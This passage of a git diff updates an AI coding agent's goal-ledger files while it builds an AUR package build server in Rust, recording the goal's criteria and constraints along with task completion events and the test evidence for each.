src/bin/{mkarchroot,makechrootpkg,makepkg,repo-add,gpg,pacman}: shims record invocations to AUR_SHIM_DIR/invocations.jsonl, obey AUR_SHIM_MANIFEST, and emit real .pkg.tar.zst with .PKGINFO","at":"2026-11-17T21:31:09.121Z"},{"type":"task_started","goalId":"mwl5tehk-xhe7fk","taskId":"task-p0-build","at":"2026-11-17T21:32:52.768Z"},{"type":"task_complete","goalId":"mwl5tehk-xhe7fk","taskId":"task-p0-build","evidence":"tests/pipeline.rs: 17 shim-driven e2e tests pass (fail-closed recipe_hash + pkgver, kill-mid-publish I4, crash-resume I5, CAS pointer, signed db+pkgs); cargo clippy clean","at":"2026-11-17T21:58:00.937Z"},{"type":"task_started","goalId":"mwl5tehk-xhe7fk","taskId":"task-p0-approve","at":"2026-11-17T21:58:43.315Z"},{"type":"task_complete","goalId":"mwl5tehk-xhe7fk","taskId":"task-p0-approve","evidence":"tests/approve.rs: 10 tests pass incl. both-hash immutable approval row (migration 0006 trigger), stale identity/diff refused, collapse-in-place revision bump, viewed→superseded freeze, rejected identi","at":"2026-11-17T22:10:06.063Z"},{"type":"goal_paused","goalId":"mwl5tehk-xhe7fk","reason":"user","status":"paused","at":"2026-11-17T22:12:03.674Z"},{"type":"goal_resumed","goalId":"mwl5tehk-xhe7fk","reason":"user","at":"2026-11-18T06:57:52.837Z"},{"type":"task_complete","goalId":"mwl5tehk-xhe7fk","taskId":"task-p0-invariants","evidence":"tests/invariants.rs: 10 named invariant tests pass as post-conditions on real runs (I1 approval trace, I2 base after 5 detections, I3 recipe pin, I4 byte-identical index after mid-publish crash, I5 re","at":"2026-11-18T07:01:31.400Z"},{"type":"task_complete","goalId":"mwl5tehk-xhe7fk","taskId":"task-p0","evidence":"All P0 children complete: schema+writer actor, shims+corpus, mirror watcher, approval semantics+CLI, 10-step pipeline with signed atomic publish, invariant index. 81 tests pass, clippy clean, 7 commit","at":"2026-11-18T07:02:29.831Z"},{"type":"task_started","goalId":"mwl5tehk-xhe7fk","taskId":"task-p1-stageA","at":"2026-11-18T07:04:12.225Z"}]]],"runtimeIndex":[["mwl5tehk-xhe7fk",{"recent":[{"type":"task_complete","goalId":"mwl5tehk-xhe7fk","taskId":"task-p0-detect","evidence":"tests/detect.rs: 16 tests pass against real file:// git fixtures — clone+ls-remote poll with fetch only on SHA move (Sync::Unchanged vs Fetched), snapshot records aur_commit + recipe_hash covering shi","at":"2026-11-17T21:20:02.693Z"},{"type":"task_started","goalId":"mwl5tehk-xhe7fk","taskId":"task-p0-shims","at":"2026-11-17T21:21:27.981Z"},{"type":"task_complete","goalId":"mwl5tehk-xhe7fk","taskId":"task-p0-shims","evidence":"src/shims + src/bin/{mkarchroot,makechrootpkg,makepkg,repo-add,gpg,pacman}: shims record invocations to AUR_SHIM_DIR/invocations.jsonl, obey AUR_SHIM_MANIFEST, and emit real .pkg.tar.zst with .PKGINFO","at":"2026-11-17T21:31:09.121Z"},{"type":"task_started","goalId":"mwl5tehk-xhe7fk","taskId":"task-p0-build","at":"2026-11-17T21:32:52.768Z"},{"type":"task_complete","goalId":"mwl5tehk-xhe7fk","taskId":"task-p0-build","evidence":"tests/pipeline.rs: 17 shim-driven e2e tests pass (fail-closed recipe_hash + pkgver, kill-mid-publish I4, crash-resume I5, CAS pointer, signed db+pkgs); cargo clippy clean","at":"2026-11-17T21:58:00.937Z"},{"type":"task_started","goalId":"mwl5tehk-xhe7fk","taskId":"task-p0-approve","at":"2026-11-17T21:58:43.315Z"},{"type":"task_complete","goalId":"mwl5tehk-xhe7fk","taskId":"task-p0-approve","evidence":"tests/approve.rs: 10 tests pass incl. both-hash immutable approval row (migration 0006 trigger), stale identity/diff refused, collapse-in-place revision bump, viewed→superseded freeze, rejected identi","at":"2026-11-17T22:10:06.063Z"},{"type":"goal_paused","goalId":"mwl5tehk-xhe7fk","reason":"user","status":"paused","at":"2026-11-17T22:12:03.674Z"},{"type":"goal_resumed","goalId":"mwl5tehk-xhe7fk","reason":"user","at":"2026-11-18T06:57:52.837Z"},{"type":"task_complete","goalId":"mwl5tehk-xhe7fk","taskId":"task-p0-invariants","evidence":"tests/invariants.rs: 10 named invariant tests pass as post-conditions on real runs (I1 approval trace, I2 base after 5 detections, I3 recipe pin, I4 byte-identical index after mid-publish crash, I5 re","at":"2026-11-18T07:01:31.400Z"},{"type":"task_complete","goalId":"mwl5tehk-xhe7fk","taskId":"task-p0","evidence":"All P0 children complete: schema+writer actor, shims+corpus, mirror watcher, approval semantics+CLI, 10-step pipeline with signed atomic publish, invariant index. 81 tests pass, clippy clean, 7 commit","at":"2026-11-18T07:02:29.831Z"},{"type":"task_started","goalId":"mwl5tehk-xhe7fk","taskId":"task-p1-stageA","at":"2026-11-18T07:04:12.225Z"}],"activity":[{"type":"goal_created","goalId":"mwl5tehk-xhe7fk","objective":"Implement the AUR Build Server described in DESIGN.md as a single-process Rust binary in /workspace/aur-build, delivering phases P0–P4 (walking skeleton + test harness, VCS/pkgver detection, review web UI, durable build pipeline, staleness tracking), with every §2 invariant expressed as an executable test and the work committed incrementally to git.\n\nSUCCESS CRITERIA (observable):\n1. `cargo test` passes on the host with no `#[ignore]`-tier tests required; the §16a fake-package corpus and toolchain PATH shims drive the full step machine, publishing and crash-resume tests without root, network, or a real chroot.\n2. Invariants I1–I12 of §2 each have a named test that passes (I1 no-artifact-without-approval is a post-test query; I2 diff-base-is-last-accepted; I4 atomic publish survives kill-mid-publish; I5 step checkpoint/resume; I7 one open review enforced by the partial unique index; I12 world snapshots recorded).\n3. End-to-end against shims: subscribe pkgbase → detect → review → approve → build → publish a signed repo where both packages and the .db are signed, and the served index equals the set of current_accepted_release pointers (I8).\n4. Web UI serves the five §13 surfaces (Inbox, Builds, Attention, Index, Subscriptions) plus Ops/audit as server-rendered HTML; approve carries identity_hash + diff_digest and returns HTTP 409 on a stale approval (§7.1a).\n5. `cargo clippy` reports no errors; `git log` shows a sequence of small, meaningful commits from the initial scaffold to the final state; README documents build, run, and test commands.\n\nBOUNDARIES — IN SCOPE: P0, P1, P2, P3, P4 of §17, the §11 schema, §16 edge cases, §16a test harness, and one gated real-chroot integration attempt (devtools installed) if time permits.\nOUT OF SCOPE: everything in §20 (auto-approval policies, automatic dependency rebuilds, recipe-mutating hardening transforms, build-time upstream-pin honouring, network controls, cost-weighted admission, notifications), P5 polish, multi-tenancy/RBAC, non-x86_64 arches, and any change to DESIGN.md's decided decisions in §18.\n\nCONSTRAINTS (hard):\n- Rust edition 2021, no `async`/`await`, no tokio/axum/actix/reqwest/sqlx/libgit2; threads + crossbeam channels only; blocking HTTP via tiny_http; outbound HTTP via ureq; git by shelling out.\n- SQLite via rusqlite in WAL mode with exactly one writer actor thread (channel-based `Tx` enum) and thread-local read-only readers; no transaction may span a build step.\n- UI is server-rendered (askama or minijinja) with at most vendored htmx (~14 KB) plus ~30 lines of glue; no JS written by us beyond that glue, no bundler.\n- Fail closed on every pin assertion (recipe_hash, pkgver match against approved identity); non-publishable changes become `notice` rows, never candidates, never dropped (I11).\n- Provisioning: `sudo pacman -S --needed rustup devtools` (fall back to `pacman -S rust` only if rustup is unusable); no other system mutations; never commit secrets, the signing key, or build artifacts.\n- Commit incrementally: one commit per coherent step with a descriptive message; never a single monolithic commit; DESIGN.md stays untouched.\n- If a §19 open question blocks a design choice, pick the least-entangling option, record it in a `docs/DECISIONS.md` entry, and keep moving; stop and ask only if the choice is genuinely irreversible.\n\nIF BLOCKED: stop and ask the user (e.g. no network for crates, toolchain uninstallable, an invariant that cannot be made testable).","sisyphus":false,"autoContinue":true,"at":"2026-11-17T20:43:24.440Z"},{"type":"task_started","goalId":"mwl5tehk-xhe7fk","taskId":"task-setup","at":"2026-11-17T20:43:42.908Z"},{"type":"task_complete","goalId":"mwl5tehk-xhe7fk","taskId":"task-setup","evidence":"rustup 1.29.3 (pacman) + stable 1.100.0, devtools installed (mkarchroot/makechrootpkg present); git repo initialized on main with commit 3762c7c containing DESIGN.md, .gitignore, Cargo.toml; `cargo bu","at":"2026-11-17T20:48:20.900Z"},{"type":"task_started","goalId":"mwl5tehk-xhe7fk","taskId":"task-p0-schema","at":"2026-11-17T20:48:42.903Z"},{"type":"task_complete","goalId":"mwl5tehk-xhe7fk","taskId":"task-p0-schema","evidence":"tests/db.rs: 10 tests pass — migrations from empty + idempotent + WAL, default settings, I7 partial unique index rejects 2nd pending_review, candidate identity uniqueness, audit append-only triggers, ","at":"2026-11-17T21:00:03.124Z"},{"type":"task_started","goalId":"mwl5tehk-xhe7fk","taskId":"task-p0-detect","at":"2026-11-17T21:00:47.994Z"},{"type":"task_complete","goalId":"mwl5tehk-xhe7fk","taskId":"task-p0-detect","evidence":"tests/detect.rs: 16 tests pass against real file:// git fixtures — clone+ls-remote poll with fetch only on SHA move (Sync::Unchanged vs Fetched), snapshot records aur_commit + recipe_hash covering shi","at":"2026-11-17T21:20:02.693Z"},{"type":"task_started","goalId":"mwl5tehk-xhe7fk","taskId":"task-p0-shims","at":"2026-11-17T21:21:27.981Z"},{"type":"task_complete","goalId":"mwl5tehk-xhe7fk","taskId":"task-p0-shims","evidence":"src/shims + src/bin/{mkarchroot,makechrootpkg,makepkg,repo-add,gpg,pacman}: shims record invocations to AUR_SHIM_DIR/invocations.jsonl, obey AUR_SHIM_MANIFEST, and emit real .pkg.tar.zst with .PKGINFO","at":"2026-11-17T21:31:09.121Z"},{"type":"task_started","goalId":"mwl5tehk-xhe7fk","taskId":"task-p0-build","at":"2026-11-17T21:32:52.768Z"},{"type":"task_complete","goalId":"mwl5tehk-xhe7fk","taskId":"task-p0-build","evidence":"tests/pipeline.rs: 17 shim-driven e2e tests pass (fail-closed recipe_hash + pkgver, kill-mid-publish I4, crash-resume I5, CAS pointer, signed db+pkgs); cargo clippy clean","at":"2026-11-17T21:58:00.937Z"},{"type":"task_started","goalId":"mwl5tehk-xhe7fk","taskId":"task-p0-approve","at":"2026-11-17T21:58:43.315Z"},{"type":"task_complete","goalId":"mwl5tehk-xhe7fk","taskId":"task-p0-approve","evidence":"tests/approve.rs: 10 tests pass incl. both-hash immutable approval row (migration 0006 trigger), stale identity/diff refused, collapse-in-place revision bump, viewed→superseded freeze, rejected identi","at":"2026-11-17T22:10:06.063Z"},{"type":"goal_paused","goalId":"mwl5tehk-xhe7fk","reason":"user","status":"paused","at":"2026-11-17T22:12:03.674Z"},{"type":"goal_resumed","goalId":"mwl5tehk-xhe7fk","reason":"user","at":"2026-11-18T06:57:52.837Z"},{"type":"task_complete","goalId":"mwl5tehk-xhe7fk","taskId":"task-p0-invariants","evidence":"tests/invariants.rs: 10 named invariant tests pass as post-conditions on real runs (I1 approval trace, I2 base after 5 detections, I3 recipe pin, I4 byte-identical index after mid-publish crash, I5 re","at":"2026-11-18T07:01:31.400Z"},{"type":"task_complete","goalId":"mwl5tehk-xhe7fk","taskId":"task-p0","evidence":"All P0 children complete: schema+writer actor, shims+corpus, mirror watcher, approval semantics+CLI, 10-step pipeline with signed atomic publish, invariant index. 81 tests pass, clippy clean, 7 commit","at":"2026-11-18T07:02:29.831Z"},{"type":"task_started","goalId":"mwl5tehk-xhe7fk","taskId":"task-p1-stageA","at":"2026-11-18T07:04:12.225Z"}],"oracle":[],"lifecycle":{"type":"goal_resumed","goalId":"mwl5tehk-xhe7fk","reason":"user","at":"2026-11-18T06:57:52.837Z"},"lastActivityEvent":{"type":"task_started","goalId":"mwl5tehk-xhe7fk","taskId":"task-p1-stageA","at":"2026-11-18T07:04:12.225Z"}}]]}
\ No newline at end of file +{"version":4,"format":"goal-ledger-checkpoint","createdAt":"2026-11-18T07:19:15.897Z","coveredBytes":8071,"coveredEvents":22,"acc":{"goals":[{"goalId":"mwl5tehk-xhe7fk","latestStatus":"active","latestFocus":false,"createdAt":"2026-11-17T20:43:24.440Z","resumedAt":"2026-11-18T06:57:52.837Z"}],"terminalGoals":[],"focusedGoalId":null,"focusGeneration":0,"focusGenByGoal":[]},"recentEventsByGoal":[["mwl5tehk-xhe7fk",[{"type":"task_started","goalId":"mwl5tehk-xhe7fk","taskId":"task-p0-build","at":"2026-11-17T21:32:52.768Z"},{"type":"task_complete","goalId":"mwl5tehk-xhe7fk","taskId":"task-p0-build","evidence":"tests/pipeline.rs: 17 shim-driven e2e tests pass (fail-closed recipe_hash + pkgver, kill-mid-publish I4, crash-resume I5, CAS pointer, signed db+pkgs); cargo clippy clean","at":"2026-11-17T21:58:00.937Z"},{"type":"task_started","goalId":"mwl5tehk-xhe7fk","taskId":"task-p0-approve","at":"2026-11-17T21:58:43.315Z"},{"type":"task_complete","goalId":"mwl5tehk-xhe7fk","taskId":"task-p0-approve","evidence":"tests/approve.rs: 10 tests pass incl. both-hash immutable approval row (migration 0006 trigger), stale identity/diff refused, collapse-in-place revision bump, viewed→superseded freeze, rejected identi","at":"2026-11-17T22:10:06.063Z"},{"type":"goal_paused","goalId":"mwl5tehk-xhe7fk","reason":"user","status":"paused","at":"2026-11-17T22:12:03.674Z"},{"type":"goal_resumed","goalId":"mwl5tehk-xhe7fk","reason":"user","at":"2026-11-18T06:57:52.837Z"},{"type":"task_complete","goalId":"mwl5tehk-xhe7fk","taskId":"task-p0-invariants","evidence":"tests/invariants.rs: 10 named invariant tests pass as post-conditions on real runs (I1 approval trace, I2 base after 5 detections, I3 recipe pin, I4 byte-identical index after mid-publish crash, I5 re","at":"2026-11-18T07:01:31.400Z"},{"type":"task_complete","goalId":"mwl5tehk-xhe7fk","taskId":"task-p0","evidence":"All P0 children complete: schema+writer actor, shims+corpus, mirror watcher, approval semantics+CLI, 10-step pipeline with signed atomic publish, invariant index. 81 tests pass, clippy clean, 7 commit","at":"2026-11-18T07:02:29.831Z"},{"type":"task_started","goalId":"mwl5tehk-xhe7fk","taskId":"task-p1-stageA","at":"2026-11-18T07:04:12.225Z"},{"type":"task_complete","goalId":"mwl5tehk-xhe7fk","taskId":"task-p1-stageA","evidence":"tests/vcs.rs: stage_a_probes_every_vcs_source_not_just_the_first (git-multi → 2 pins matching both repo HEADs), stage_a_respects_a_tag_pin, stage_a_short_circuits_before_stage_b_when_nothing_moved (ma","at":"2026-11-18T07:16:40.078Z"},{"type":"task_complete","goalId":"mwl5tehk-xhe7fk","taskId":"task-p1-stageB","evidence":"tests/vcs.rs: stage_b_resolves_pkgver_and_captures_the_pins (pins in identity_hash via Identity hash comparison), stage_b_is_cached_on_pkgbase_recipe_and_tip (cache row reuse + cooldown + re-resolve o","at":"2026-11-18T07:17:57.387Z"},{"type":"task_started","goalId":"mwl5tehk-xhe7fk","taskId":"task-p1-notices","at":"2026-11-18T07:19:15.892Z"}]]],"runtimeIndex":[["mwl5tehk-xhe7fk",{"recent":[{"type":"task_started","goalId":"mwl5tehk-xhe7fk","taskId":"task-p0-build","at":"2026-11-17T21:32:52.768Z"},{"type":"task_complete","goalId":"mwl5tehk-xhe7fk","taskId":"task-p0-build","evidence":"tests/pipeline.rs: 17 shim-driven e2e tests pass (fail-closed recipe_hash + pkgver, kill-mid-publish I4, crash-resume I5, CAS pointer, signed db+pkgs); cargo clippy clean","at":"2026-11-17T21:58:00.937Z"},{"type":"task_started","goalId":"mwl5tehk-xhe7fk","taskId":"task-p0-approve","at":"2026-11-17T21:58:43.315Z"},{"type":"task_complete","goalId":"mwl5tehk-xhe7fk","taskId":"task-p0-approve","evidence":"tests/approve.rs: 10 tests pass incl. both-hash immutable approval row (migration 0006 trigger), stale identity/diff refused, collapse-in-place revision bump, viewed→superseded freeze, rejected identi","at":"2026-11-17T22:10:06.063Z"},{"type":"goal_paused","goalId":"mwl5tehk-xhe7fk","reason":"user","status":"paused","at":"2026-11-17T22:12:03.674Z"},{"type":"goal_resumed","goalId":"mwl5tehk-xhe7fk","reason":"user","at":"2026-11-18T06:57:52.837Z"},{"type":"task_complete","goalId":"mwl5tehk-xhe7fk","taskId":"task-p0-invariants","evidence":"tests/invariants.rs: 10 named invariant tests pass as post-conditions on real runs (I1 approval trace, I2 base after 5 detections, I3 recipe pin, I4 byte-identical index after mid-publish crash, I5 re","at":"2026-11-18T07:01:31.400Z"},{"type":"task_complete","goalId":"mwl5tehk-xhe7fk","taskId":"task-p0","evidence":"All P0 children complete: schema+writer actor, shims+corpus, mirror watcher, approval semantics+CLI, 10-step pipeline with signed atomic publish, invariant index. 81 tests pass, clippy clean, 7 commit","at":"2026-11-18T07:02:29.831Z"},{"type":"task_started","goalId":"mwl5tehk-xhe7fk","taskId":"task-p1-stageA","at":"2026-11-18T07:04:12.225Z"},{"type":"task_complete","goalId":"mwl5tehk-xhe7fk","taskId":"task-p1-stageA","evidence":"tests/vcs.rs: stage_a_probes_every_vcs_source_not_just_the_first (git-multi → 2 pins matching both repo HEADs), stage_a_respects_a_tag_pin, stage_a_short_circuits_before_stage_b_when_nothing_moved (ma","at":"2026-11-18T07:16:40.078Z"},{"type":"task_complete","goalId":"mwl5tehk-xhe7fk","taskId":"task-p1-stageB","evidence":"tests/vcs.rs: stage_b_resolves_pkgver_and_captures_the_pins (pins in identity_hash via Identity hash comparison), stage_b_is_cached_on_pkgbase_recipe_and_tip (cache row reuse + cooldown + re-resolve o","at":"2026-11-18T07:17:57.387Z"},{"type":"task_started","goalId":"mwl5tehk-xhe7fk","taskId":"task-p1-notices","at":"2026-11-18T07:19:15.892Z"}],"activity":[{"type":"goal_created","goalId":"mwl5tehk-xhe7fk","objective":"Implement the AUR Build Server described in DESIGN.md as a single-process Rust binary in /workspace/aur-build, delivering phases P0–P4 (walking skeleton + test harness, VCS/pkgver detection, review web UI, durable build pipeline, staleness tracking), with every §2 invariant expressed as an executable test and the work committed incrementally to git.\n\nSUCCESS CRITERIA (observable):\n1. `cargo test` passes on the host with no `#[ignore]`-tier tests required; the §16a fake-package corpus and toolchain PATH shims drive the full step machine, publishing and crash-resume tests without root, network, or a real chroot.\n2. Invariants I1–I12 of §2 each have a named test that passes (I1 no-artifact-without-approval is a post-test query; I2 diff-base-is-last-accepted; I4 atomic publish survives kill-mid-publish; I5 step checkpoint/resume; I7 one open review enforced by the partial unique index; I12 world snapshots recorded).\n3. End-to-end against shims: subscribe pkgbase → detect → review → approve → build → publish a signed repo where both packages and the .db are signed, and the served index equals the set of current_accepted_release pointers (I8).\n4. Web UI serves the five §13 surfaces (Inbox, Builds, Attention, Index, Subscriptions) plus Ops/audit as server-rendered HTML; approve carries identity_hash + diff_digest and returns HTTP 409 on a stale approval (§7.1a).\n5. `cargo clippy` reports no errors; `git log` shows a sequence of small, meaningful commits from the initial scaffold to the final state; README documents build, run, and test commands.\n\nBOUNDARIES — IN SCOPE: P0, P1, P2, P3, P4 of §17, the §11 schema, §16 edge cases, §16a test harness, and one gated real-chroot integration attempt (devtools installed) if time permits.\nOUT OF SCOPE: everything in §20 (auto-approval policies, automatic dependency rebuilds, recipe-mutating hardening transforms, build-time upstream-pin honouring, network controls, cost-weighted admission, notifications), P5 polish, multi-tenancy/RBAC, non-x86_64 arches, and any change to DESIGN.md's decided decisions in §18.\n\nCONSTRAINTS (hard):\n- Rust edition 2021, no `async`/`await`, no tokio/axum/actix/reqwest/sqlx/libgit2; threads + crossbeam channels only; blocking HTTP via tiny_http; outbound HTTP via ureq; git by shelling out.\n- SQLite via rusqlite in WAL mode with exactly one writer actor thread (channel-based `Tx` enum) and thread-local read-only readers; no transaction may span a build step.\n- UI is server-rendered (askama or minijinja) with at most vendored htmx (~14 KB) plus ~30 lines of glue; no JS written by us beyond that glue, no bundler.\n- Fail closed on every pin assertion (recipe_hash, pkgver match against approved identity); non-publishable changes become `notice` rows, never candidates, never dropped (I11).\n- Provisioning: `sudo pacman -S --needed rustup devtools` (fall back to `pacman -S rust` only if rustup is unusable); no other system mutations; never commit secrets, the signing key, or build artifacts.\n- Commit incrementally: one commit per coherent step with a descriptive message; never a single monolithic commit; DESIGN.md stays untouched.\n- If a §19 open question blocks a design choice, pick the least-entangling option, record it in a `docs/DECISIONS.md` entry, and keep moving; stop and ask only if the choice is genuinely irreversible.\n\nIF BLOCKED: stop and ask the user (e.g. no network for crates, toolchain uninstallable, an invariant that cannot be made testable).","sisyphus":false,"autoContinue":true,"at":"2026-11-17T20:43:24.440Z"},{"type":"task_started","goalId":"mwl5tehk-xhe7fk","taskId":"task-setup","at":"2026-11-17T20:43:42.908Z"},{"type":"task_complete","goalId":"mwl5tehk-xhe7fk","taskId":"task-setup","evidence":"rustup 1.29.3 (pacman) + stable 1.100.0, devtools installed (mkarchroot/makechrootpkg present); git repo initialized on main with commit 3762c7c containing DESIGN.md, .gitignore, Cargo.toml; `cargo bu","at":"2026-11-17T20:48:20.900Z"},{"type":"task_started","goalId":"mwl5tehk-xhe7fk","taskId":"task-p0-schema","at":"2026-11-17T20:48:42.903Z"},{"type":"task_complete","goalId":"mwl5tehk-xhe7fk","taskId":"task-p0-schema","evidence":"tests/db.rs: 10 tests pass — migrations from empty + idempotent + WAL, default settings, I7 partial unique index rejects 2nd pending_review, candidate identity uniqueness, audit append-only triggers, ","at":"2026-11-17T21:00:03.124Z"},{"type":"task_started","goalId":"mwl5tehk-xhe7fk","taskId":"task-p0-detect","at":"2026-11-17T21:00:47.994Z"},{"type":"task_complete","goalId":"mwl5tehk-xhe7fk","taskId":"task-p0-detect","evidence":"tests/detect.rs: 16 tests pass against real file:// git fixtures — clone+ls-remote poll with fetch only on SHA move (Sync::Unchanged vs Fetched), snapshot records aur_commit + recipe_hash covering shi","at":"2026-11-17T21:20:02.693Z"},{"type":"task_started","goalId":"mwl5tehk-xhe7fk","taskId":"task-p0-shims","at":"2026-11-17T21:21:27.981Z"},{"type":"task_complete","goalId":"mwl5tehk-xhe7fk","taskId":"task-p0-shims","evidence":"src/shims + src/bin/{mkarchroot,makechrootpkg,makepkg,repo-add,gpg,pacman}: shims record invocations to AUR_SHIM_DIR/invocations.jsonl, obey AUR_SHIM_MANIFEST, and emit real .pkg.tar.zst with .PKGINFO","at":"2026-11-17T21:31:09.121Z"},{"type":"task_started","goalId":"mwl5tehk-xhe7fk","taskId":"task-p0-build","at":"2026-11-17T21:32:52.768Z"},{"type":"task_complete","goalId":"mwl5tehk-xhe7fk","taskId":"task-p0-build","evidence":"tests/pipeline.rs: 17 shim-driven e2e tests pass (fail-closed recipe_hash + pkgver, kill-mid-publish I4, crash-resume I5, CAS pointer, signed db+pkgs); cargo clippy clean","at":"2026-11-17T21:58:00.937Z"},{"type":"task_started","goalId":"mwl5tehk-xhe7fk","taskId":"task-p0-approve","at":"2026-11-17T21:58:43.315Z"},{"type":"task_complete","goalId":"mwl5tehk-xhe7fk","taskId":"task-p0-approve","evidence":"tests/approve.rs: 10 tests pass incl. both-hash immutable approval row (migration 0006 trigger), stale identity/diff refused, collapse-in-place revision bump, viewed→superseded freeze, rejected identi","at":"2026-11-17T22:10:06.063Z"},{"type":"goal_paused","goalId":"mwl5tehk-xhe7fk","reason":"user","status":"paused","at":"2026-11-17T22:12:03.674Z"},{"type":"goal_resumed","goalId":"mwl5tehk-xhe7fk","reason":"user","at":"2026-11-18T06:57:52.837Z"},{"type":"task_complete","goalId":"mwl5tehk-xhe7fk","taskId":"task-p0-invariants","evidence":"tests/invariants.rs: 10 named invariant tests pass as post-conditions on real runs (I1 approval trace, I2 base after 5 detections, I3 recipe pin, I4 byte-identical index after mid-publish crash, I5 re","at":"2026-11-18T07:01:31.400Z"},{"type":"task_complete","goalId":"mwl5tehk-xhe7fk","taskId":"task-p0","evidence":"All P0 children complete: schema+writer actor, shims+corpus, mirror watcher, approval semantics+CLI, 10-step pipeline with signed atomic publish, invariant index. 81 tests pass, clippy clean, 7 commit","at":"2026-11-18T07:02:29.831Z"},{"type":"task_started","goalId":"mwl5tehk-xhe7fk","taskId":"task-p1-stageA","at":"2026-11-18T07:04:12.225Z"},{"type":"task_complete","goalId":"mwl5tehk-xhe7fk","taskId":"task-p1-stageA","evidence":"tests/vcs.rs: stage_a_probes_every_vcs_source_not_just_the_first (git-multi → 2 pins matching both repo HEADs), stage_a_respects_a_tag_pin, stage_a_short_circuits_before_stage_b_when_nothing_moved (ma","at":"2026-11-18T07:16:40.078Z"},{"type":"task_complete","goalId":"mwl5tehk-xhe7fk","taskId":"task-p1-stageB","evidence":"tests/vcs.rs: stage_b_resolves_pkgver_and_captures_the_pins (pins in identity_hash via Identity hash comparison), stage_b_is_cached_on_pkgbase_recipe_and_tip (cache row reuse + cooldown + re-resolve o","at":"2026-11-18T07:17:57.387Z"},{"type":"task_started","goalId":"mwl5tehk-xhe7fk","taskId":"task-p1-notices","at":"2026-11-18T07:19:15.892Z"}],"oracle":[],"lifecycle":{"type":"goal_resumed","goalId":"mwl5tehk-xhe7fk","reason":"user","at":"2026-11-18T06:57:52.837Z"},"lastActivityEvent":{"type":"task_started","goalId":"mwl5tehk-xhe7fk","taskId":"task-p1-notices","at":"2026-11-18T07:19:15.892Z"}}]]}
\ No newline at end of file diff --git a/.pi/goals/active_goal_2026111720432444_mwl5tehk-xhe7fk.md b/.pi/goals/active_goal_2026111720432444_mwl5tehk-xhe7fk.md index 900925a..3e04e56 100644 --- a/.pi/goals/active_goal_2026111720432444_mwl5tehk-xhe7fk.md +++ b/.pi/goals/active_goal_2026111720432444_mwl5tehk-xhe7fk.md @@ -5,14 +5,14 @@ "status": "active", "autoContinue": true, "usage": { - "tokensUsed": 2777693, - "activeSeconds": 6191 + "tokensUsed": 3247406, + "activeSeconds": 6929 }, "sisyphus": false, "createdAt": "2026-11-17T20:43:24.440Z", - "updatedAt": "2026-11-18T07:16:29.726Z", + "updatedAt": "2026-11-18T07:29:00.016Z", "activePath": ".pi/goals/active_goal_2026111720432444_mwl5tehk-xhe7fk.md", - "revision": 288, + "revision": 310, "scheduler": { "version": 1, "owner": "01a1eb32-2e3f-757c-a79a-21ac993facc5", @@ -105,14 +105,18 @@ { "id": "task-p1-stageA", "title": "Stage A upstream probes over all VCS sources + persistent vcs_cache", - "status": "pending", - "verificationContract": "Parses source=() for git+/svn+/hg+ with #tag/#commit refs; probes via git ls-remote against local file:// repos; an unchanged HEAD set short-circuits before Stage B; multiple VCS sources each get their own pin entry." + "status": "complete", + "verificationContract": "Parses source=() for git+/svn+/hg+ with #tag/#commit refs; probes via git ls-remote against local file:// repos; an unchanged HEAD set short-circuits before Stage B; multiple VCS sources each get their own pin entry.", + "completedAt": "2026-11-18T07:16:40.077Z", + "evidence": "tests/vcs.rs: stage_a_probes_every_vcs_source_not_just_the_first (git-multi → 2 pins matching both repo HEADs), stage_a_respects_a_tag_pin, stage_a_short_circuits_before_stage_b_when_nothing_moved (ma" }, { "id": "task-p1-stageB", "title": "Stage B pkgver() resolution with pin capture + identity tuple", - "status": "pending", - "verificationContract": "Resolved epoch:pkgver-pkgrel plus upstream_pins become part of identity_hash; cooldown and global concurrency cap enforced; cache keyed on (pkgbase, recipe_hash, upstream_tip); a git-sourced fixture produces a candidate whose pins match the fixture repo HEAD." + "status": "complete", + "verificationContract": "Resolved epoch:pkgver-pkgrel plus upstream_pins become part of identity_hash; cooldown and global concurrency cap enforced; cache keyed on (pkgbase, recipe_hash, upstream_tip); a git-sourced fixture produces a candidate whose pins match the fixture repo HEAD.", + "completedAt": "2026-11-18T07:17:57.387Z", + "evidence": "tests/vcs.rs: stage_b_resolves_pkgver_and_captures_the_pins (pins in identity_hash via Identity hash comparison), stage_b_is_cached_on_pkgbase_recipe_and_tip (cache row reuse + cooldown + re-resolve o" }, { "id": "task-p1-notices", @@ -219,7 +223,7 @@ "blockCompletion": true, "proposedAt": "2026-11-17T20:39:23.165Z" }, - "currentTaskId": "task-p1-stageA" + "currentTaskId": "task-p1-notices" } # Goal Prompt @@ -252,8 +256,8 @@ IF BLOCKED: stop and ask the user (e.g. no network for crates, toolchain uninsta - Status: running - Auto-continue: on - Sisyphus mode: no -- Time spent: 1h43m11s -- Tokens used: 2.8M (2,777,693) tokens +- Time spent: 1h55m29s +- Tokens used: 3.2M (3,247,406) tokens ## Tasks <!-- blockCompletion: true --> diff --git a/.pi/goals/goal_events.jsonl b/.pi/goals/goal_events.jsonl index 2d2e398..ba0cb4b 100644 --- a/.pi/goals/goal_events.jsonl +++ b/.pi/goals/goal_events.jsonl @@ -17,3 +17,6 @@ {"type":"task_complete","goalId":"mwl5tehk-xhe7fk","taskId":"task-p0-invariants","evidence":"tests/invariants.rs: 10 named invariant tests pass as post-conditions on real runs (I1 approval trace, I2 base after 5 detections, I3 recipe pin, I4 byte-identical index after mid-publish crash, I5 re","at":"2026-11-18T07:01:31.400Z"} {"type":"task_complete","goalId":"mwl5tehk-xhe7fk","taskId":"task-p0","evidence":"All P0 children complete: schema+writer actor, shims+corpus, mirror watcher, approval semantics+CLI, 10-step pipeline with signed atomic publish, invariant index. 81 tests pass, clippy clean, 7 commit","at":"2026-11-18T07:02:29.831Z"} {"type":"task_started","goalId":"mwl5tehk-xhe7fk","taskId":"task-p1-stageA","at":"2026-11-18T07:04:12.225Z"} +{"type":"task_complete","goalId":"mwl5tehk-xhe7fk","taskId":"task-p1-stageA","evidence":"tests/vcs.rs: stage_a_probes_every_vcs_source_not_just_the_first (git-multi → 2 pins matching both repo HEADs), stage_a_respects_a_tag_pin, stage_a_short_circuits_before_stage_b_when_nothing_moved (ma","at":"2026-11-18T07:16:40.078Z"} +{"type":"task_complete","goalId":"mwl5tehk-xhe7fk","taskId":"task-p1-stageB","evidence":"tests/vcs.rs: stage_b_resolves_pkgver_and_captures_the_pins (pins in identity_hash via Identity hash comparison), stage_b_is_cached_on_pkgbase_recipe_and_tip (cache row reuse + cooldown + re-resolve o","at":"2026-11-18T07:17:57.387Z"} +{"type":"task_started","goalId":"mwl5tehk-xhe7fk","taskId":"task-p1-notices","at":"2026-11-18T07:19:15.892Z"} 